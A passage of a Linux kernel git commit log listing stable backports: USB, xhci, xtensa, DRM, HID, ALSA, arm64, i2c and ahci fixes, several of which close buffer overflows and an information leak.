67d365a57a51fb9dece6a5ceb504aa381cae1e5b upstream. The Adaptec USBConnect 2000 is another SCSI-USB converter which uses Shuttle Technology/SCM Microsystems chips. The US_FL_SCM_MULT_TARG quirk is required to use SCSI devices with ID other than 0. I don't have a USBConnect 2000, but based on the other entries for Shuttle/ SCM-based converters this patch is very likely correct. I used 0x0000 and 0x9999 for bcdDeviceMin and bcdDeviceMax because I'm not sure which bcdDevice value the product uses. Signed-off-by: Mark Knibbs Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d191a4a2c70f68fe600ba2a87631c3ecac9f4465 Author: Mark Date: Thu Sep 11 13:15:45 2014 +0100 storage: Add single-LUN quirk for Jaz USB Adapter commit c66f1c62e85927357e7b3f4c701614dcb5c498a2 upstream. The Iomega Jaz USB Adapter is a SCSI-USB converter cable. The hardware seems to be identical to e.g. the Microtech XpressSCSI, using a Shuttle/ SCM chip set. However its firmware restricts it to only work with Jaz drives. On connecting the cable a message like this appears four times in the log: reset full speed USB device number 4 using uhci_hcd That's non-fatal but the US_FL_SINGLE_LUN quirk fixes it. Signed-off-by: Mark Knibbs Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1d5d679f495e442c8b2c7b22922fc84d6f4c956 Author: Joe Lawrence Date: Wed Sep 10 15:07:50 2014 -0400 usb: hub: take hub->hdev reference when processing from eventlist commit c605f3cdff53a743f6d875b76956b239deca1272 upstream. During surprise device hotplug removal tests, it was observed that hub_events may try to call usb_lock_device on a device that has already been freed. Protect the usb_device by taking out a reference (under the hub_event_lock) when hub_events pulls it off the list, returning the reference after hub_events is finished using it. Signed-off-by: Joe Lawrence Suggested-by: David Bulkow for using kref Suggested-by: Alan Stern for placement Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman [neo: Modified patch.] Signed-off-by: Pranav Vashi commit fc99c8d611545eb632ef805e42892561dae0e42b Author: Mathias Nyman Date: Thu Sep 11 13:55:50 2014 +0300 xhci: fix oops when xhci resumes from hibernate with hw lpm capable devices commit 96044694b8511bc2b04df0776b4ba295cfe005c0 upstream. Resuming from hibernate (S4) will restart and re-initialize xHC. The device contexts are freed and will be re-allocated later during device reset. Usb core will disable link pm in device resume before device reset, which will try to change the max exit latency, accessing the device contexts before they are re-allocated. There is no need to zero (disable) the max exit latency when disabling hw lpm for a freshly re-initialized xHC. So check that device context exists before doing anything. The max exit latency will be set again after device reset when usb core enables the link pm. Reported-by: Imre Deak Tested-by: Imre Deak Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd750fe1267636ef4c7f7f0ea98463c9332ea975 Author: Mathias Nyman Date: Thu Sep 11 13:55:48 2014 +0300 xhci: Fix null pointer dereference if xhci initialization fails commit c207e7c50f31113c24a9f536fcab1e8a256985d7 upstream. If xhci initialization fails before the roothub bandwidth domains (xhci->rh_bw[i]) are allocated it will oops when trying to access rh_bw members in xhci_mem_cleanup(). Reported-by: Manuel Reimer Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 693871f13874d5dfe431927e1a9d297c0130b60f Author: Johan Hovold Date: Thu Aug 28 12:46:54 2014 +0200 USB: zte_ev: fix removed PIDs commit 3096691011d01cef56b243a5e65431405c07d574 upstream. Add back some PIDs that were mistakingly remove when reverting commit 73228a0538a7 ("USB: option,zte_ev: move most ZTE CDMA devices to zte_ev"), which apparently did more than its commit message claimed in that it not only moved some PIDs from option to zte_ev but also added some new ones. Fixes: 63a901c06e3c ("Revert "USB: option,zte_ev: move most ZTE CDMA devices to zte_ev"") Reported-by: Lei Liu Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bc14002533400d5fbf8c8fc3099d3f493295b093 Author: Johan Hovold Date: Mon Aug 18 18:33:11 2014 +0200 USB: ftdi_sio: add support for NOVITUS Bono E thermal printer commit ee444609dbae8afee420c3243ce4c5f442efb622 upstream. Add device id for NOVITUS Bono E thermal printer. Reported-by: Emanuel Koczwara Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 60c14fbe8ac781ba53f4b45fd11c262ea239f222 Author: Bjørn Mork Date: Thu Aug 28 15:08:16 2014 +0200 USB: sierra: add 1199:68AA device ID commit 5b3da69285c143b7ea76b3b9f73099ff1093ab73 upstream. This VID:PID is used for some Direct IP devices behaving identical to the already supported 0F3D:68AA devices. Reported-by: Lars Melin Signed-off-by: Bjørn Mork Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d410a44db0567a60448d6ead3a44c80260de4b20 Author: Bjørn Mork Date: Thu Aug 28 14:11:23 2014 +0200 USB: sierra: avoid CDC class functions on "68A3" devices commit 049255f51644c1105775af228396d187402a5934 upstream. Sierra Wireless Direct IP devices using the 68A3 product ID can be configured for modes including a CDC ECM class function. The known example uses interface numbers 12 and 13 for the ECM control and data interfaces respectively, consistent with CDC MBIM function interface numbering on other Sierra devices. It seems cleaner to restrict this driver to the ff/ff/ff vendor specific interfaces rather than increasing the already long interface number blacklist. This should be more future proof if Sierra adds more class functions using interface numbers not yet in the blacklist. Signed-off-by: Bjørn Mork Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8c3be1b73d336d683a9af4c525d637234c4cbf3c Author: Johan Hovold Date: Thu Aug 7 16:00:15 2014 +0200 USB: zte_ev: remove duplicate Qualcom PID commit 754eb21c0bbbbc4b8830a9a864b286323b84225f upstream. Remove dublicate Qualcom PID 0x3197 which is already handled by the moto-modem driver since commit 6986a978eec7 ("USB: add new moto_modem driver for some Morotola phones"). Fixes: 799ee9243d89 ("USB: serial: add zte_ev.c driver") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 73adaf1e2b3e8da4b59146191ce5eaa3ab94c6bf Author: Johan Hovold Date: Thu Aug 7 16:00:14 2014 +0200 USB: zte_ev: remove duplicate Gobi PID commit 95be5739588c56a9327e477aa0ba3c81c5cf8631 upstream. Remove dublicate Gobi PID 0x9008 which is already handled by the qcserial driver since commit f05932c0caf4 ("USB: qcserial: Add extra device IDs"). Fixes: 799ee9243d89 ("USB: serial: add zte_ev.c driver") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b7beae91c00efe7d94249e988958ec06e13b3a37 Author: Johan Hovold Date: Thu Aug 7 16:00:13 2014 +0200 Revert "USB: option,zte_ev: move most ZTE CDMA devices to zte_ev" commit 63a901c06e3c2c45bd601916fe04e870e9ccae1e upstream. This reverts commit 73228a0538a7 ("USB: option,zte_ev: move most ZTE CDMA devices to zte_ev"). Move the IDs of the devices that were previously driven by the option driver back to that driver. As several users have reported, the zte_ev driver is causing random disconnects as well as reconnect failures. A closer analysis of the zte_ev setup code reveals that it consists of standard CDC requests (SET/GET_LINE_CODING and SET_CONTROL_LINE_STATE) but unfortunately fails to get some of those right. In particular, as reported by Liu Lei, it fails to lower DTR/RTS on close. It also appears that the control requests lack the interface argument. Note that the zte_ev driver is based on code (once) distributed by ZTE that still appears to originally have been reverse-engineered and bolted onto the generic driver. Since line control is already handled properly by the option driver, and the SET/GET_LINE_CODING requests appears to be redundant (amounts to a SET 9600 8N1), this is a first step in ultimately removing the redundant zte_ev driver. Note that AC2726 had already been moved back to option, and that some IDs were in the device table of both drivers prior to the commit being reverted. Reported-by: Lei Liu Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 65115c393ec3715a25cae69d1ebc61bd0a54e452 Author: Brennan Ashton Date: Wed Aug 6 08:46:44 2014 -0700 USB: option: add VIA Telecom CDS7 chipset device id commit d77302739d900bbca5e901a3b7ac48c907ee6c93 upstream. This VIA Telecom baseband processor is used is used by by u-blox in both the FW2770 and FW2760 products and may be used in others as well. This patch has been tested on both of these modem versions. Signed-off-by: Brennan Ashton Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f1ffc2e1efa6e667f72b1af1cb3b7635943bbd7 Author: Johan Hovold Date: Tue Jul 29 14:14:55 2014 +0200 USB: option: reduce interrupt-urb logging verbosity commit f0e4cba2534cd88476dff920727c81350130f3c5 upstream. Do not log normal interrupt-urb shutdowns as errors. The option driver has always been logging any nonzero interrupt-urb status as an error, including when the urb is killed during normal operation. Commit 9096f1fbba91 ("USB: usb_wwan: fix potential NULL-deref at resume") moved the interrupt urb submission from port probe and release to open and close, thus potentially increasing the number of these false-positive error messages dramatically. Reported-by: Ed Butler Tested-by: Ed Butler Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 317362c971daacb31a6bc2f80582e32a8f17ca74 Author: Johan Hovold Date: Wed Aug 27 11:55:19 2014 +0200 USB: serial: fix potential heap buffer overflow commit 5654699fb38512bdbfc0f892ce54fce75bdc2bab upstream. Make sure to verify the number of ports requested by subdriver to avoid writing beyond the end of fixed-size array in interface data. The current usb-serial implementation is limited to eight ports per interface but failed to verify that the number of ports requested by a subdriver (which could have been determined from device descriptors) did not exceed this limit. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bc1b7085d541011bfc1e735d277bb1f3c7ae45ed Author: Stephen Hemminger Date: Mon Aug 25 21:07:47 2014 -0700 USB: sisusb: add device id for Magic Control USB video commit 5b6b80aeb21091ed3030b9b6aae597d81326f1aa upstream. I have a j5 create (JUA210) USB 2 video device and adding it device id to SIS USB video gets it to work. Signed-off-by: Stephen Hemminger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2e432d13dc1517695ecf8469f31780543e0d3795 Author: Johan Hovold Date: Wed Aug 27 11:55:18 2014 +0200 USB: serial: fix potential stack buffer overflow commit d979e9f9ecab04c1ecca741370e30a8a498893f5 upstream. Make sure to verify the maximum number of endpoints per type to avoid writing beyond the end of a stack-allocated array. The current usb-serial implementation is limited to eight ports per interface but failed to verify that the number of endpoints of a certain type reported by a device did not exceed this limit. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2a1fa5b4e5b2c3f0e3c7593e59822ac90ada4d07 Author: Greg KH Date: Fri Aug 15 15:22:21 2014 +0800 USB: serial: pl2303: add device id for ztek device commit 91fcb1ce420e0a5f8d92d556d7008a78bc6ce1eb upstream. This adds a new device id to the pl2303 driver for the ZTEK device. Reported-by: Mike Chu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Johan Hovold Signed-off-by: Pranav Vashi commit 657fcb2f871f6257082ed18351bca1104b3adeeb Author: Max Filippov Date: Thu Jul 31 22:40:57 2014 +0400 xtensa: fix a6 and a7 handling in fast_syscall_xtensa commit d1b6ba82a50cecf94be540a3a153aa89d97511a0 upstream. Remove restoring a6 on some return paths and instead modify and restore it in a single place, using symbolic name. Correctly restore a7 from PT_AREG7 in case of illegal a6 value. Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fbbaa360d532b2e93113bcccea56ecb260810f3b Author: Max Filippov Date: Mon Jul 21 22:01:51 2014 +0400 xtensa: fix TLBTEMP_BASE_2 region handling in fast_second_level_miss commit 7128039fe2dd3d59da9e4ffa036f3aaa3ba87b9f upstream. Current definition of TLBTEMP_BASE_2 is always 32K above the TLBTEMP_BASE_1, whereas fast_second_level_miss handler for the TLBTEMP region analyzes virtual address bit (PAGE_SHIFT + DCACHE_ALIAS_ORDER) to determine TLBTEMP region where the fault happened. The size of the TLBTEMP region is also checked incorrectly: not 64K, but twice data cache way size (whicht may as well be less than the instruction cache way size). Fix TLBTEMP_BASE_2 to be TLBTEMP_BASE_1 + data cache way size. Provide TLBTEMP_SIZE that is a greater of doubled data cache way size or the instruction cache way size, and use it to determine if the second level TLB miss occured in the TLBTEMP region. Practical occurence of page faults in the TLBTEMP area is extremely rare, this code can be tested by deletion of all w[di]tlb instructions in the tlbtemp_mapping region. Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 436f11ce3db312f7681cdfdd72d2a47ca0aaefc6 Author: Max Filippov Date: Sun Jul 27 07:23:41 2014 +0400 xtensa: fix access to THREAD_RA/THREAD_SP/THREAD_DS commit 52247123749cc3cbc30168b33ad8c69515c96d23 upstream. With SMP and a lot of debug options enabled task_struct::thread gets out of reach of s32i/l32i instructions with base pointing at task_struct, breaking build with the following messages: arch/xtensa/kernel/entry.S: Assembler messages: arch/xtensa/kernel/entry.S:1002: Error: operand 3 of 'l32i.n' has invalid value '1048' arch/xtensa/kernel/entry.S:1831: Error: operand 3 of 's32i.n' has invalid value '1040' arch/xtensa/kernel/entry.S:1832: Error: operand 3 of 's32i.n' has invalid value '1044' Change base to point to task_struct::thread in such cases. Don't use a10 in _switch_to to save/restore prev pointer as a2 is not clobbered. Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 420bd77944d3d4055057eed5587baeb48709634b Author: Alan Douglas Date: Wed Jul 23 14:06:40 2014 +0400 xtensa: fix address checks in dma_{alloc,free}_coherent commit 1ca49463c44c970b1ab1d71b0f268bfdf8427a7e upstream. Virtual address is translated to the XCHAL_KSEG_CACHED region in the dma_free_coherent, but is checked to be in the 0...XCHAL_KSEG_SIZE range. Change check for end of the range from 'addr >= X' to 'addr > X - 1' to handle the case of X == 0. Replace 'if (C) BUG();' construct with 'BUG_ON(C);'. Signed-off-by: Alan Douglas Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e6fd8df092b1e6853fc819a3e69b4a864ebb064b Author: Max Filippov Date: Sun Jul 20 03:38:53 2014 +0400 xtensa: replace IOCTL code definitions with constants commit f61bf8e7d19e0a3456a7a9ed97c399e4353698dc upstream. This fixes userspace code that builds on other architectures but fails on xtensa due to references to structures that other architectures don't refer to. E.g. this fixes the following issue with python-2.7.8: python-2.7.8/Modules/termios.c:861:25: error: invalid application of 'sizeof' to incomplete type 'struct serial_multiport_struct' {"TIOCSERGETMULTI", TIOCSERGETMULTI}, python-2.7.8/Modules/termios.c:870:25: error: invalid application of 'sizeof' to incomplete type 'struct serial_multiport_struct' {"TIOCSERSETMULTI", TIOCSERSETMULTI}, python-2.7.8/Modules/termios.c:900:24: error: invalid application of 'sizeof' to incomplete type 'struct tty_struct' {"TIOCTTYGSTRUCT", TIOCTTYGSTRUCT}, Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 326456be3f5c8945709d09f2b58e73a502d9d15a Author: Alex Deucher Date: Mon Sep 8 13:55:51 2014 -0400 drm/radeon: add connector quirk for fujitsu board commit 1952f24d0fa6292d65f886887af87ba8ac79b3ba upstream. Vbios connector table lists non-existent VGA port. Bug: https://bugs.freedesktop.org/show_bug.cgi?id=83184 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f7936661b69fff7af0c3fa9b5b3aa3ff9e522c0 Author: Thomas Hellstrom Date: Thu Aug 28 11:53:23 2014 +0200 drm/vmwgfx: Fix a potential infinite spin waiting for fifo idle commit f01ea0c3d9db536c64d47922716d8b3b8f21d850 upstream. The code waiting for fifo idle was incorrect and could possibly spin forever under certain circumstances. Signed-off-by: Thomas Hellstrom Reported-by: Mark Sheldon Reviewed-by: Jakob Bornecrantz Reivewed-by: Mark Sheldon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 18db7643c850fda039a9ff09e7db8cff9e5bf18b Author: Y.C. Chen Date: Wed Sep 10 12:07:54 2014 +0800 drm/ast: AST2000 cannot be detected correctly commit 83502a5d34386f7c6973bc70e1c423f55f5a2e3a upstream. Type error and cause AST2000 cannot be detected correctly Signed-off-by: Y.C. Chen Reviewed-by: Egbert Eich Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 860693cd4b36d7acce66a5de0295dd1a2ba5cf43 Author: Ville Syrjälä Date: Mon Sep 8 17:43:01 2014 +0300 drm/i915: Wait for vblank before enabling the TV encoder commit 7a98948f3b536ca9a077e84966ddc0e9f53726df upstream. The vblank waits in intel_tv_detect_type() are timing out for some reason. This is a regression caused removing seemingly useless vblank waits from the modeset seqeuence in: commit 56ef52cad5e37fca89638e4bad598a994ecc3d9f Author: Ville Syrjälä Date: Thu May 8 19:23:15 2014 +0300 drm/i915: Kill vblank waits after pipe enable on gmch platforms So it turns out they weren't all entirely useless. Apparently the pipe has to go through one full frame before we enable the TV port. Add a vblank wait to intel_enable_tv() to make sure that happens. Another approach was attempted by placing the vblank wait just after enabling the port. The theory behind that attempt was that we need to let the port stay enabled for one full frame before disabling it again during load detection. But that didn't work, and we definitely must have the vblank wait before enabling the port. Cc: Alan Bartlett Tested-by: Alan Bartlett Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=79311 Signed-off-by: Ville Syrjälä Reviewed-by: Daniel Vetter Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6b19fbd4d402b329840a2bb558b3c884a080d560 Author: Mathias Krause Date: Wed Aug 27 18:41:19 2014 +0200 drm/i915: Remove bogus __init annotation from DMI callbacks commit bbe1c2740d3a25aa1dbe5d842d2ff09cddcdde0a upstream. The __init annotations for the DMI callback functions are wrong as this code can be called even after the module has been initialized, e.g. like this: # echo 1 > /sys/bus/pci/devices/0000:00:02.0/remove # modprobe i915 # echo 1 > /sys/bus/pci/rescan The first command will remove the PCI device from the kernel's device list so the second command won't see it right away. But as it registers a PCI driver it'll see it on the third command. If the system happens to match one of the DMI table entries we'll try to call a function in long released memory and generate an Oops, at best. Fix this by removing the bogus annotation. Modpost should have caught that one but it ignores section reference mismatches from the .rodata section. :/ Fixes: 25e341cfc33d ("drm/i915: quirk away broken OpRegion VBT") Fixes: 8ca4013d702d ("CHROMIUM: i915: Add DMI override to skip CRT...") Fixes: 425d244c8670 ("drm/i915: ignore LVDS on intel graphics systems...") Signed-off-by: Mathias Krause Cc: Daniel Vetter Cc: Duncan Laurie Cc: Jarod Wilson Cc: Rusty Russell # Can modpost be fixed? Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a7bf38786e5c7b82b179a359944222f0e2ec335c Author: Benjamin Tissoires Date: Fri Aug 22 16:16:05 2014 -0400 HID: logitech-dj: prevent false errors to be shown commit 5abfe85c1d4694d5d4bbd13ecc166262b937adf0 upstream. Commit "HID: logitech: perform bounds checking on device_id early enough" unfortunately leaks some errors to dmesg which are not real ones: - if the report is not a DJ one, then there is not point in checking the device_id - the receiver (index 0) can also receive some notifications which can be safely ignored given the current implementation Move out the test regarding the report_id and also discards printing errors when the receiver got notified. Fixes: ad3e14d7c5268c2e24477c6ef54bbdf88add5d36 Reported-and-tested-by: Markus Trippelsdorf Signed-off-by: Benjamin Tissoires Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e29fc8bcdc50e8fee6bb56d2efe24c34ec6b47d3 Author: Jiri Kosina Date: Wed Aug 27 09:12:24 2014 +0200 HID: magicmouse: sanity check report size in raw_event() callback commit c54def7bd64d7c0b6993336abcffb8444795bf38 upstream. The report passed to us from transport driver could potentially be arbitrarily large, therefore we better sanity-check it so that magicmouse_emit_touch() gets only valid values of raw_id. Reported-by: Steven Vittitoe Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1f1081c90a7da490063daa8cfdc0f83f898ac6c2 Author: Jiri Kosina Date: Wed Aug 27 09:13:15 2014 +0200 HID: picolcd: sanity check report size in raw_event() callback commit 844817e47eef14141cf59b8d5ac08dd11c0a9189 upstream. The report passed to us from transport driver could potentially be arbitrarily large, therefore we better sanity-check it so that raw_data that we hold in picolcd_pending structure are always kept within proper bounds. Reported-by: Steven Vittitoe Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 385bfc5b827a534cb7ed3bd48f065c24c185ce4e Author: Toshiaki Makita Date: Tue Aug 26 20:56:36 2014 +0900 cfq-iosched: Fix wrong children_weight calculation commit e15693ef18e13e3e6bffe891fe140f18b8ff6d07 upstream. cfq_group_service_tree_add() is applying new_weight at the beginning of the function via cfq_update_group_weight(). This actually allows weight to change between adding it to and subtracting it from children_weight, and triggers WARN_ON_ONCE() in cfq_group_service_tree_del(), or even causes oops by divide error during vfr calculation in cfq_group_service_tree_add(). The detailed scenario is as follows: 1. Create blkio cgroups X and Y as a child of X. Set X's weight to 500 and perform some I/O to apply new_weight. This X's I/O completes before starting Y's I/O. 2. Y starts I/O and cfq_group_service_tree_add() is called with Y. 3. cfq_group_service_tree_add() walks up the tree during children_weight calculation and adds parent X's weight (500) to children_weight of root. children_weight becomes 500. 4. Set X's weight to 1000. 5. X starts I/O and cfq_group_service_tree_add() is called with X. 6. cfq_group_service_tree_add() applies its new_weight (1000). 7. I/O of Y completes and cfq_group_service_tree_del() is called with Y. 8. I/O of X completes and cfq_group_service_tree_del() is called with X. 9. cfq_group_service_tree_del() subtracts X's weight (1000) from children_weight of root. children_weight becomes -500. This triggers WARN_ON_ONCE(). 10. Set X's weight to 500. 11. X starts I/O and cfq_group_service_tree_add() is called with X. 12. cfq_group_service_tree_add() applies its new_weight (500) and adds it to children_weight of root. children_weight becomes 0. Calcularion of vfr triggers oops by divide error. weight should be updated right before adding it to children_weight. Reported-by: Ruki Sekiya Signed-off-by: Toshiaki Makita Acked-by: Tejun Heo Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 84c072264ee7cc9b52eb54ba1684ff5eee419280 Author: Clemens Ladisch Date: Sun Sep 21 22:50:57 2014 +0200 ALSA: pcm: fix fifo_size frame calculation commit a9960e6a293e6fc3ed414643bb4e4106272e4d0a upstream. The calculated frame size was wrong because snd_pcm_format_physical_width() actually returns the number of bits, not bytes. Use snd_pcm_format_size() instead, which not only returns bytes, but also simplifies the calculation. Fixes: 8bea869c5e56 ("ALSA: PCM midlevel: improve fifo_size handling") Signed-off-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ef887bbe9b6ebc046446fc03111b9233bc81d74c Author: Takashi Iwai Date: Thu Sep 11 12:59:21 2014 +0200 ALSA: hda - Fix invalid pin powermap without jack detection commit 7a9744cb455e6faa287e148394b4b422a6f3c5c4 upstream. When a driver is set up without the jack detection explicitly (either by passing a model option or via a specific fixup), the pin powermap of IDT/STAC codecs is set up wrongly, resulting in the silence output. It's because of a logic failure in stac_init_power_map(). It tries to avoid creating a callback for the pins that have other auto-hp and auto-mic callbacks, but the check is done in a wrong way at a wrong time. The stac_init_power_map() should be called after creating other jack detection ctls, and the jack callback should be created only for jack-detectable widgets. This patch fixes the check in stac_init_power_map() and its callee at the right place, after snd_hda_gen_build_controls(). Reported-by: Adam Richter Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d8406e4039e5af1d5ff1dcf7a11951d7673690fa Author: Takashi Iwai Date: Tue Sep 2 07:21:56 2014 +0200 ALSA: hda - Fix COEF setups for ALC1150 codec commit acf08081adb5e8fe0519eb97bb49797ef52614d6 upstream. ALC1150 codec seems to need the COEF- and PLL-setups just like its compatible ALC882 codec. Some machines (e.g. SunMicro X10SAT) show the problem like too low output volumes unless the COEF setup is applied. Reported-and-tested-by: Dana Goyette Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b2f97b6f345ca9b35f06aac5cdb1fa3f9764fce9 Author: Will Deacon Date: Fri Aug 22 14:13:24 2014 +0100 arm64: ptrace: fix compat hardware watchpoint reporting commit 27d7ff273c2aad37b28f6ff0cab2cfa35b51e648 upstream. I'm not sure what I was on when I wrote this, but when iterating over the hardware watchpoint array (hbp_watch_array), our index is off by ARM_MAX_BRP, so we walk off the end of our thread_struct... ... except, a dodgy condition in the loop means that it never executes at all (bp cannot be NULL). This patch fixes the code so that we remove the bp check and use the correct index for accessing the watchpoint structures. Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 673cc7291d167c16ce3945ffd5f4db6f980c0304 Author: Josef Bacik Date: Mon Aug 25 13:59:41 2014 -0400 trace: Fix epoll hang when we race with new entries commit 4ce97dbf50245227add17c83d87dc838e7ca79d0 upstream. Epoll on trace_pipe can sometimes hang in a weird case. If the ring buffer is empty when we set waiters_pending but an event shows up exactly at that moment we can miss being woken up by the ring buffers irq work. Since ring_buffer_empty() is inherently racey we will sometimes think that the buffer is not empty. So we don't get woken up and we don't think there are any events even though there were some ready when we added the watch, which makes us hang. This patch fixes this by making sure that we are actually on the wait list before we set waiters_pending, and add a memory barrier to make sure ring_buffer_empty() is going to be correct. Link: http://lkml.kernel.org/p/1408989581-23727-1-git-send-email-jbacik@fb.com Cc: Martin Lau Signed-off-by: Josef Bacik Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 283f2b71db64e53fc95acff9d1124447a56481e1 Author: Simon Lindgren Date: Tue Aug 26 21:13:24 2014 +0200 i2c: at91: Fix a race condition during signal handling in at91_do_twi_xfer. commit 6721f28a26efd6368497abbdef5dcfc59608d899 upstream. There is a race condition in at91_do_twi_xfer when signals arrive. If a signal is recieved while waiting for a transfer to complete wait_for_completion_interruptible_timeout() will return -ERESTARTSYS. This is not handled correctly resulting in interrupts still being enabled and a transfer being in flight when we return. Symptoms include a range of oopses and bus lockups. Oopses can happen when the transfer completes because the interrupt handler will corrupt the stack. If a new transfer is started before the interrupt fires the controller will start a new transfer in the middle of the old one, resulting in confused slaves and a locked bus. To avoid this, use wait_for_completion_io_timeout instead so that we don't have to deal with gracefully shutting down the transfer and disabling the interrupts. Signed-off-by: Simon Lindgren Acked-by: Ludovic Desroches Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f3ee32d4149d196c6ba950a692a57a3e19d024d9 Author: Marek Roszko Date: Wed Aug 20 21:39:41 2014 -0400 i2c: at91: add bound checking on SMBus block length bytes commit 75b81f339c6af43f6f4a1b3eabe0603321dade65 upstream. The driver was not bound checking the received length byte to ensure it was within the the buffer size that is allocated for SMBus blocks. This resulted in buffer overflows whenever an invalid length byte was received. It also failed to ensure the length byte was not zero. If it received zero, it would end up in an infinite loop as the at91_twi_read_next_byte function returned immediately without allowing RHR to be read to clear the RXRDY interrupt. Tested agaisnt a SMBus compliant battery. Signed-off-by: Marek Roszko Acked-by: Ludovic Desroches Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b0c390708b623881fe28c2a5acc0f7a8670978f4 Author: Will Deacon Date: Thu Sep 11 14:38:16 2014 +0100 arm64: flush TLS registers during exec commit eb35bdd7bca29a13c8ecd44e6fd747a84ce675db upstream. Nathan reports that we leak TLS information from the parent context during an exec, as we don't clear the TLS registers when flushing the thread state. This patch updates the flushing code so that we: (1) Unconditionally zero the tpidr_el0 register (since this is fully context switched for native tasks and zeroed for compat tasks) (2) Zero the tp_value state in thread_info before clearing the tpidrr0_el0 register for compat tasks (since this is only writable by the set_tls compat syscall and therefore not fully switched). A missing compiler barrier is also added to the compat set_tls syscall. Acked-by: Nathan Lynch Reported-by: Nathan Lynch Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d1ae9ae47bad790d9d37a9fd3fb1ffe9db8e3694 Author: Anton Blanchard Date: Fri Aug 22 11:36:52 2014 +1000 ibmveth: Fix endian issues with rx_no_buffer statistic commit cbd5228199d8be45d895d9d0cc2b8ce53835fc21 upstream. Hidden away in the last 8 bytes of the buffer_list page is a solitary statistic. It needs to be byte swapped or else ethtool -S will produce numbers that terrify the user. Since we do this in multiple places, create a helper function with a comment explaining what is going on. Signed-off-by: Anton Blanchard Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f93bdf254cbbd29bdf0f712861bfc31596897a0a Author: Murali Karicheri Date: Fri Sep 5 13:21:00 2014 -0400 ahci: add pcid for Marvel 0x9182 controller commit c5edfff9db6f4d2c35c802acb4abe0df178becee upstream. Keystone K2E EVM uses Marvel 0x9182 controller. This requires support for the ID in the ahci driver. Signed-off-by: Murali Karicheri Signed-off-by: Tejun Heo Cc: Santosh Shilimkar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4244ff43264d4328655e23e5cc360500566e5852 Author: James Ralston Date: Wed Aug 27 14:29:07 2014 -0700 ahci: Add Device IDs for Intel 9 Series PCH commit 1b071a0947dbce5c184c12262e02540fbc493457 upstream. This patch adds the AHCI mode SATA Device IDs for the Intel 9 Series PCH. Signed-off-by: James Ralston Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cf2126942cb882ffb2060ff207671fcf24710b0f Author: Arjun Sreedharan Date: Sun Aug 17 20:00:09 2014 +0530 pata_scc: propagate return value of scc_wait_after_reset commit 4dc7c76cd500fa78c64adfda4b070b870a2b993c upstream. scc_bus_softreset not necessarily should return zero. Propagate the error code. Signed-off-by: Arjun Sreedharan Signed-off-by: Tejun Heo Signed-off-by: Greg 